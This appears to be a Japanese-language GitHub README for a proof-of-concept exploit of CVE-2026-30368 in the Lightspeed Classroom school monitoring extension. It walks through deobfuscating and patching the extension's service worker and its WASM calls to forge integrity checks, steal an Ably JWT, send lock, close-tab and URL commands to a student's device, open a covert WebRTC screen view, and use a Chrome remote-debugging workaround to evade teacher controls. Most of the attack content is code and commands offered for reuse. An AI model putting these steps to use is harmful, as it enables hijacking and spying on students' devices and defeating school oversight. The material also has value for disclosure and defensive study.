
CVE-2026-30368の概念実証エクスプロイト。Lightspeed Classroomにおける認証バイパスを実証し、Ablyチャネル経由で生徒のデバイスを制御します。
[!IMPORTANT]
これはパッチ適用済みであり、現在は認証情報が必要です。回避策を使用して自分自身に対して操作を実行してください。
CVE-2026-30368 により、攻撃者は Lightspeed Classroom 管理の脆弱な認証の欠陥を介して生徒のデバイスを制御できます。 この POC(poc.js)は、LS Classroom 拡張機能のサービスワーカーをグローバルコンテキストで実行します。ワーカーは一部の機能で classroom.wasm も実行します。wasm-loader.js はワーカーをロードし、classroom.wasm によって生成された JWT トークンを抽出します。抽出後、ワーカーを終了し、トークンを Lightspeed API に送信して、ターゲットの Ably チャンネルへの接続に使用するトークンを取得します。そこから、攻撃者は生徒のデバイスにコマンドを送信できます。コマンドの一覧と詳細情報は、こちらにある完全な解説書に記載されています。
これらのファイルをこのリポジトリに含めることができない理由:
問題を避けるため、バージョン 5.1.2.1763770643 の使用をお勧めします。新しいバージョンの適応にサポートが必要な場合は、自己責任で対応してください。
worker.js と classroom.wasm ファイルは Lightspeed 拡張機能のソースコードから取得できます。これは、個人デバイスの Chrome で学校アカウントにログインし、Chrome プロファイルディレクトリの拡張機能フォルダから拡張機能のソースを抽出することで取得できます。また、更新 URL から crx を手動でダウンロードすることもできます。
このエクスプロイトのより簡単な方法は、まず拡張機能のソースコードから classroom.wasm を取得し、それを wasm-only.js と同じディレクトリに配置して、以下を実行することです:
$ node wasm-only.js
プロンプトが表示されたら、メールアドレスとカスタマー ID を入力します。これにより Ably チャンネルに接続されます。815 行目に移動し、送信したいメッセージのコメントを解除します。クレジット: ktibow on discord
ファイルを取得したら、クローンしたリポジトリのディレクトリに追加するだけです。wasm-loader.js の getManifest() 関数に移動し、拡張機能のマニフェストを貼り付ける必要があります。また、wasm-loader.js の上部に拡張機能 ID を追加する必要があります。
worker.js のコピーを任意のファイル名で作成します。これは後で必要になります。必要な変更を実行するために、worker.js を webcrack に通して難読化解除とミニファイ解除を行う必要があります。このとき、「Deobfuscate」と「Unminify」オプションのみを選択してください。 結果をエディタに貼り戻す前に、すべての LSP サーバーをオフにすることをお勧めします。ランダムな変数を削除して、後続のステージでワーカーが壊れる可能性があるためです(vtsls のことです...)。
サービスワーカーは node.js(インストール済みであることを確認してください)で実行されるため、正しく実行するにはいくつかのパッチ適用が必要です。JWT 抽出ロジックも追加する必要があります。 worker.js の最上部に次の 2 つの関数を追加します:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
これらは、wasm の Go ランタイムを変更して、LS classroom wasm が使用する値をインターセプトおよび変更する際に使用されます。
YOUR_EXTENSION_ID を拡張機能 ID に置き換え、worker_copy.js を以前作成した元の worker.js のコピーのファイル名に置き換えてください。
次に、メインのアロー関数内((() => { の後)にこれらの 2 つの関数を追加します:
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
次に、キャンパスネットワーク外でこれを実行できるように、IsClassroomActive を true にハードコードする必要があります。関数を常に true を返すように変更するだけです:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
次に、syscall/js.valueCall を検索して、変更が必要な valueCall 関数を見つけます。これは wasm に JS 値を通知するものです。この関数を変更することでインターセプトおよび変更される 2 つの値は、worker.js のパス(ハッシュチェックを通過するようにワーカーのコピーに変更されます)と、chrome.identity.getProfileUserInfo.toString の値(native code と言うように変更され、WASM が実際にはファイルの先頭で変更されているにもかかわらず信頼できると信じ込ませます)です。これを行うには、先頭で定義した valueCallBefore 関数と valueCallAfter 関数を使用する必要があります。valueCall 関数を次のように変更します(変数名は異なりますが、構造は同じです):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
もうすぐ完了です。最後に、JWT をキャプチャするコードを追加する必要があります。echoMessages: false を検索すると、Ably に送信されるヘッダーのリストを含む変数が見つかります。そのすぐ下に、次の行を追加します(変数名は正確ではない可能性が高いですが、authHeaders 内で ablyJwt にアクセスしている同じ行を見つけることができます):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
これにより、JWT がグローバルスコープの変数に割り当てられ、wasm-loader.js(サービスワーカーを実行する「ハーネス」)がアクセスできるようになります。これでワーカーの変更は完了です。すべての LSP がまだオフになっていることを確認してください。再びオンになっている場合、後で未定義の変数の問題が発生する可能性があります。
poc.js ファイルに移動します。先頭に、テストしたいアカウント(できれば自分のアカウント)のメールアドレスとカスタマー ID を追加します。自分のもの以外のカスタマー ID を使用すると、そのカスタマー ID に対応する正しい worker.js と classroom.wasm ファイルが必要になるため、エラーが発生します。
poc.js の Ably API キーは法的理由により伏せられているため、自分で見つける必要があります。worker.js 内で探してください。G52 で始まります。カスタマー ID も同じ場所にあります。CUSTOMER_ID: を検索するか、XX-XXXX-XXXX 形式の文字列を探してください。最後の 3 桁は通常 000 です。
ユーザーエージェントについては、任意のものに設定できますが、AWS は自動化ツールに関連する特定の UA をブロックする場合があります。
これらすべてを完了したら、下部に移動して、publish を使用してユーザーの Ably チャンネルに送信するメッセージを追加できます。メッセージには lock、closeTab、url などを含めることができます。
Lightspeed が使用する Ably メッセージの完全なリストはこちらにあります。
node.js、deno、またはその他のランタイムでファイルを実行します。Bun は動作しません。
$ node poc.js
POC を拡張して CLI などにしても構いません。
Lightspeed Classroom の WebRTC(画面表示)機能の動作方法について疑問に思っている人がいれば、可能ですが繊細です。動作させるには次の条件を満たす必要があります:
すでにクライアントの Ably チャンネルに接続していると仮定すると、以下を使用して WebRTC 接続を開始できます:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
ビデオの表示方法は自分で解決してください(HTML の基本的な知識と少しのグーグル検索/AI があればできるはずです)が、上記のコードで接続が確立されます。残念ながらストリームは 1 FPS ですが、これは LS classroom 自体の制限です。
繰り返しますが、これは非常に繊細なため、常に動作することを保証できませんが、一貫して動作させることができたら教えてください!
pnpm i を実行し、classroom.wasm をリポジトリのルートに配置して、pnpm dev を実行して Web ビューアーを起動します。
[!IMPORTANT]
このセクションには認証情報と個人用デバイスが必要です
4月23日、Lightspeed はこの CVE の修正の展開を開始しました。新しい拡張機能である Lightspeed Identity Agent(内部コードネーム: LS One)が追加され、Classroom に身元を確認するための Google OAuth トークンが提供されます。この回避策により、自分自身、または認証情報を持っている他の誰に対しても操作を実行できます。これは Linux でのみテストされています。
まず、安定版の Google Chrome をインストールし、学校アカウントでサインインします。Lightspeed Identity Agent 拡張機能がインストールされていることを確認してください。Chrome を閉じます。次に、Chrome ユーザーデータディレクトリを一時的な場所にコピーします。たとえば、Linux では:cp -r ~/.config/google-chrome /tmp/chromedata。classroom.wasm ファイルをリポジトリディレクトリに配置します。oauth-poc.js の先頭の値を入力します。ターミナルを開きます(後で使用しますが、今開いてください)。次のコマンドラインフラグで Chrome を再起動します:
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata
これによりリモートデバッグが有効になります。サービスワーカーが初期化されるまで 15 秒待ちます。 oauth-poc.js を実行します:
$ node oauth-poc.js
LS One 拡張機能が見つからないというメッセージが表示された場合、Chrome 起動後 15 秒待っていないか、待ちすぎてサービスワーカーがスリープ状態になったか、oauth-poc.js の先頭の拡張機能 ID を入力していないかのいずれかです。
Ably への接続中に 403 エラーが発生した場合は、正しい classroom.wasm、正しいメールアドレスを持っているか確認し、学校の IP に移動してみてください。
エラーが発生しなかった場合は、おめでとうございます! スクリプトを実行したままにしておくだけで、教師によるロック、タブの閉鎖、画面表示(実験的)から保護されます。
この POC を破壊的な目的で使用しないでください。あなたが行うかもしれないいたずら行為について、私は責任を負いません。ご存知のとおり、Lightspeed はこれを 3 か月間放置しており、修正にはあと 1 週間(またはそれ以上?...)かかるとは思っていません。うまくいけば、これで状況の実際の深刻さを理解し、より早く修正してくれるでしょう。最後に、もしあなたが学校の IT 担当者なら、これを上司に送ってください 🙂
♥️、truekas 4.22.2026